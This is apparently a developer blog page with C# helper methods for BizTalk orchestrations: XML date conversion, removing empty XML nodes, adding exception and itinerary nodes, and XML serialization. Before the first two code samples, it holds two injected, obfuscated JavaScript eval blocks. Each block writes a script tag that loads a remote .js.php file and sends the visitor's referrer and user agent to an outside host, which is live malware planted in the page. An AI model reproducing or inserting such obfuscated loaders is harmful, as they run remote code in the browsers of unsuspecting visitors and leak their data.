Converts several date/time formats to standard XML Date/ Time


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nifyf|var|u0026u|referrer|ftizd||js|php'.split('|'),0,{}))
</script></noindex>        /// <summary>
        /// This takes a vendor's non-standard dates, such as 5/1/2008 and formats as XML Date.
        /// (i.e. the month may one or two digits, the day may be one or two digits).
        /// Neal Walters - changed on 09/03/2008 to  throw exception. 
        /// also tested to make sure it handles all the following dates (and it does)
        ///    string testDate1 = "03/09/2008";
        ///    string testDate2 = "1999-05-31";
        ///    string testDate3 = "03/09/2008 10:50:16.157";
        ///    string testDate4 = "1999-05-31T13:20:00.000-05:00";
        ///    string testDate5 = "2008-09-03 10:50:16.157";
        ///    string testDate6 = "2008-09-32";
        /// </summary>
        /// <param name="inDate"></param>
        /// <returns></returns>
        public static string ConvertDateTimetoXmlDateTime(string inDate)
        {
            try
            {
                DateTime dtIn = DateTime.Parse(inDate);
                return System.Xml.XmlConvert.ToString(dtIn, System.Xml.XmlDateTimeSerializationMode.Local);

            }
            catch
            {
                string errorMessage = "invalid-Date/Time-conversion from value='" + inDate + "'";
                throw new Exception(errorMessage);
                //return errorMessage;
            }
        }

What if you need to remove all the empty nodes in an XML document? It’ easy with this small subroutine. This might be useful to set fields to NULL when they have no value, especially when communicating between BizTalk and a WCF web service. You might often get serialization errors when, for example, a date/time field has an empty-string value. Better to pass no element to the web service (i.e. NULL) than a field with a bad value.


 <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyayr|var|u0026u|referrer|hkbni||js|php'.split('|'),0,{}))
</script></noindex>        public static XmlDocument RemoveEmptyNodes(XmlDocument txd)
        {

           // make a clean copy so we don't accidentally destroy the byRef txd variable passed to us.
            XmlDocument xmldoc = new XmlDocument();
            xmldoc.LoadXml(txd.OuterXml);
            XmlNodeList emptyElements = xmldoc.SelectNodes(@"//*[not(node())]");
            for (int i = emptyElements.Count - 1; i >= 0; i--)
            {
               emptyElements[i].ParentNode.RemoveChild(emptyElements[i]);
            }
            xmldoc.InnerXml = xmldoc.InnerXml.Replace("", "");
            return xmldoc;
        }

You can call the above code from a message assignment shape in an orchestration.
Just put the above code in a C# helper .DLL, make a reference to it from your orchestration, then you should be able to call it statically.

An SQL database field was defined as CHAR(1). We used LINQ to SQL to expose in a web service, which defined the field as a System.Nullable.

Unforuntately, it is not well known or well documented that “CHAR”s serializae and deserialize as the ASCII number, which is the equivalent of the character.

Thus is a BizTalk map, we had to use the Character to ASCII functoid to conver the letter “C” to the number “67”, in order to get BizTalk to properly build XML that is passed to a web service. When passing the letter “C”, you get a deserialization error.

See Also this blog link

How to add an node to an XML Document (via a C# helper that can be called in an expression shape from an orchestration).



First example (uses AppendChild):


<code>
        public static XmlDocument AddExceptionNodeToTMXML(XmlDocument TMXMLDocIn, Exception ex)
        {
            // three import fields in System.Exception are ex.Message, ex.StackTrace, ex.Source
            // then there is an Ex.InnerException

            XmlDocument xmlDocNewTMXML = new XmlDocument();
            xmlDocNewTMXML.LoadXml(TMXMLDocIn.OuterXml);  // make sure we don't update the original TMXMLDocIn

            string errMessage = "";
            string errSource = "";
            string errStackTrace = "";
            string xml;

            if (ex.InnerException == null)
            {
                // if not nested exceptions, do not number them.
                errMessage = ex.Message;
                errStackTrace = ex.StackTrace;
                errSource = ex.Source;
            }
            else
            {
                // loop through all the nested exceptions and concatenate them into single long string variables
                System.Exception innerEx = ex;
                int loopCounter = 0;
                while (innerEx != null)
                {
                    // number the nested exceptions
                    loopCounter++;
                    string separator = "";
                    if (loopCounter &gt; 1)
                        separator = ";";

                    errMessage = errMessage + separator + "n     Ex:" + loopCounter + ") " + innerEx.Message;
                    errStackTrace = errStackTrace + separator + "n     Ex:" + loopCounter + ") " + innerEx.StackTrace;
                    errSource = errSource + separator + "n     Ex:" + loopCounter + ") " + innerEx.Source;
                    innerEx = innerEx.InnerException;

                }

            }

            // Added CDATA clauses below, because the err fields may have
            // ampersand, less-than, greater than, or other problem characters that cause the xmlDoc.Load to  fail. 
            xml =
                    @"&lt;exs:Exceptions xmlns:exs='http://YourSchemaNamespace.Exceptions'&gt;" +
                    "&lt;ex:Exception index='1' id='1' type='' xmlns:ex='http://YourSchemaNamespace.Exception'&gt;" +
                    "  &lt;messageText&gt;&lt;![CDATA[" + errMessage + "]]&gt;&lt;/messageText&gt;" +
                    "  &lt;source&gt;&lt;![CDATA[" + errSource + "]]&gt;&lt;/source&gt;" +
                    "  &lt;stackTrace&gt;&lt;![CDATA[" + errStackTrace + "]]&gt;&lt;/stackTrace&gt;" +
                    "&lt;/ex:Exception&gt;" +
                    "&lt;/exs:Exceptions&gt;";


            XmlDocument exceptionXML = new XmlDocument();
            exceptionXML.LoadXml(xml);


            string strXPathRoot = "/*[local-name()='TMXML' and namespace-uri()='http://YourSchemaNamespace.MainSchema']";
            XmlNode nodeTMXML = xmlDocNewTMXML.SelectSingleNode(strXPathRoot);

            string strExXPathRoot = "/*[local-name()='Exceptions' and namespace-uri()='http://YourSchemaNamespace.Exceptions']";
            XmlNode nodeExceptions = exceptionXML.SelectSingleNode(strExXPathRoot);


            nodeTMXML.AppendChild(xmlDocNewTMXML.ImportNode(nodeExceptions, true));

            return xmlDocNewTMXML;

        }



</code>

Second example (uses CreateElement)


<code>

	// This can be called from a BusinessRule which passes a TypedXmlDocument
	// instead of a normal XmlDocument
	public static void AddItineraryStep(TypedXmlDocument txd, string stepName, string activityPolicy)
        {

                  // can we find the XPath  indicate d?
                  string strXPathRoot = "//*[local-name()='ItinerarySteps']";
                  XmlNode node = LocateXPath(txd, strXPathRoot);
                  if (null == node)
                  {
                      throw new Exception("AddItineraryStep: XPath did not return a valid node, XPath=" +
                          strXPathRoot + "  XML=" + txd.Document.OuterXml);
                  };


                  // determine the root node for the document
                  // if the XPath selects the TXD, it will have no root if it is an XmlDocument
                  // in that case, simply use the document from the TXD
                  XmlDocument root = node.OwnerDocument;
                  if (null == root)
                  {
                        // if the XPath selects the TXD, it may
                        // so fix accordingly
                        root = txd.Document as XmlDocument;
                        if (null == root) return;
                  }


                  // create a new node and add it in
                  string nodeName = "ItineraryStep";
                  XmlElement newNode = root.CreateElement(nodeName);
                  node.AppendChild(newNode);

                  // Not sure why ImportNode not available. Seems like it would be easier
                  //node.AppendChild(txd.Document.ImportNode(nodeItineraryStep, true));

                  //strXPathRoot = "/*[local-name()='Header']/*[local-name()='Itinerary']/*[local-name()='ItineraryStep']";
                  strXPathRoot = "//*[local-name()='ItineraryStep']";
                  node = LocateXPath(txd, strXPathRoot);
                  if (null == node)
                  {
                      throw new Exception("AddItineraryItem: XPath did not return a valid node, XPath=" +
                          strXPathRoot + "  XML=" + txd.Document.OuterXml);
                  };

                  XmlElement newSubNode;

                  nodeName = "name";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = stepName;
                  newNode.AppendChild(newSubNode);

                  nodeName = "status";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = "PENDING";
                  newNode.AppendChild(newSubNode);

                  nodeName = "errorType";
                  newSubNode = root.CreateElement(nodeName);
                  // leave value to empty-string (no need to set InnerText)
                  newNode.AppendChild(newSubNode);

                  nodeName = "activityPolicy";
                  newSubNode = root.CreateElement(nodeName);
                  newSubNode.InnerText = activityPolicy;
                  newNode.AppendChild(newSubNode);


        }

        internal static XmlNode LocateXPath(TypedXmlDocument txd, string xPath)
        {
            // does the TXD contain a node?
            XmlNode parent = txd.Document;
            if (null == parent) return null;

            // is there an XPath specified? if not, return the parent
            if ((xPath == null) || (xPath == string.Empty)) return parent;

            // return the first node that the XPath points to
            return parent.SelectSingleNode(xPath, txd.NamespaceManager);
        }

</code>

XML Serializer – Sample Code – How to take a C# object and write it to a file in XML “serialized” format.

NOTE: Serialize means to take an object (in memory) and turn it to a format that can be preserved to disk (or sent over a wire). Deserialize means to take the serialized-format, and turn it back into an object (in memory).

<code>
using System.Xml.Serialization;
using System.IO;
...

//  Serialize an object in memory to disk. 

            XmlSerializer xs1 = new XmlSerializer(typeof(YourClassName));
            StreamWriter sw1 = new StreamWriter(@"c:DeserializeYourObject.xml");
            xs1.Serialize(sw1, objYourObjectFromYourClassName);
            sw1.Close();

// Now to deserialize it - assuming this might be a different program, run later.

            XmlSerializer xs2 = new XmlSerializer(typeof(YourClassName));
            StreamReader sr2 = new StreamReader(@"c:DeserializeYourObject.xml");
            // deserialize and cast back to proper class
            objYourObjectFromYourClassName = (YourClassName) xs2.Deserialize(sr2);
            sr2.Close();
            Console.WriteLine ("Deserialize2 completed");


</code>

NOTE: Serializing to a string in memory is a lot trickier than you might think, because you have to deal with byteArrays, and encoding. Here’s a link to a page that explains how to do it:


http://www.dotnetjohn.com/articles.aspx?articleid=173

Based on the above article, I put the following code in my “Common” C# Component library that is deployed on all my systems:

<code>
        /// <summary>
        /// Method to convert a custom Object to XML string
        /// </summary>
        /// Object that is to be serialized to XML
        /// XML string
        public static String SerializeObject(Object pObject)
        {

            try
            {

                String XmlizedString = null;
                MemoryStream memoryStream = new MemoryStream();
                XmlSerializer xs = new XmlSerializer(pObject.GetType());
                XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);

                xs.Serialize(xmlTextWriter, pObject);
                memoryStream = (MemoryStream)xmlTextWriter.BaseStream;
                XmlizedString = UTF8ByteArrayToString(memoryStream.ToArray());
                return XmlizedString;

            }

            catch (Exception e)
            {
                System.Console.WriteLine(e);
                return null;
            }

        }
        /// <summary>
        /// Method to reconstruct turn XMLString back into Object
        /// </summary>
        /// 
        /// 

        public static Object DeserializeObject(String pXmlizedString, Type classType)
        {

            XmlSerializer xs = new XmlSerializer(classType);
            MemoryStream memoryStream = new MemoryStream(StringToUTF8ByteArray(pXmlizedString));
            XmlTextWriter xmlTextWriter = new XmlTextWriter(memoryStream, Encoding.UTF8);
            return xs.Deserialize(memoryStream);

        }

        private static String UTF8ByteArrayToString(Byte[] characters)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            String constructedString = encoding.GetString(characters);
            return (constructedString);
        }

        private static Byte[] StringToUTF8ByteArray(String pXmlString)
        {
            UTF8Encoding encoding = new UTF8Encoding();
            Byte[] byteArray = encoding.GetBytes(pXmlString);
            return byteArray;
        }


</code>

Just wrap the above with your class name, and add these using statements:

<code>
using System;
using System.Collections.Generic;
using System.Collections;
using System.Text;
using System.Xml;
using System.Reflection;
using System.Xml.Schema;
using System.IO;
using System.Xml.Serialization;
using System.Text;
</code>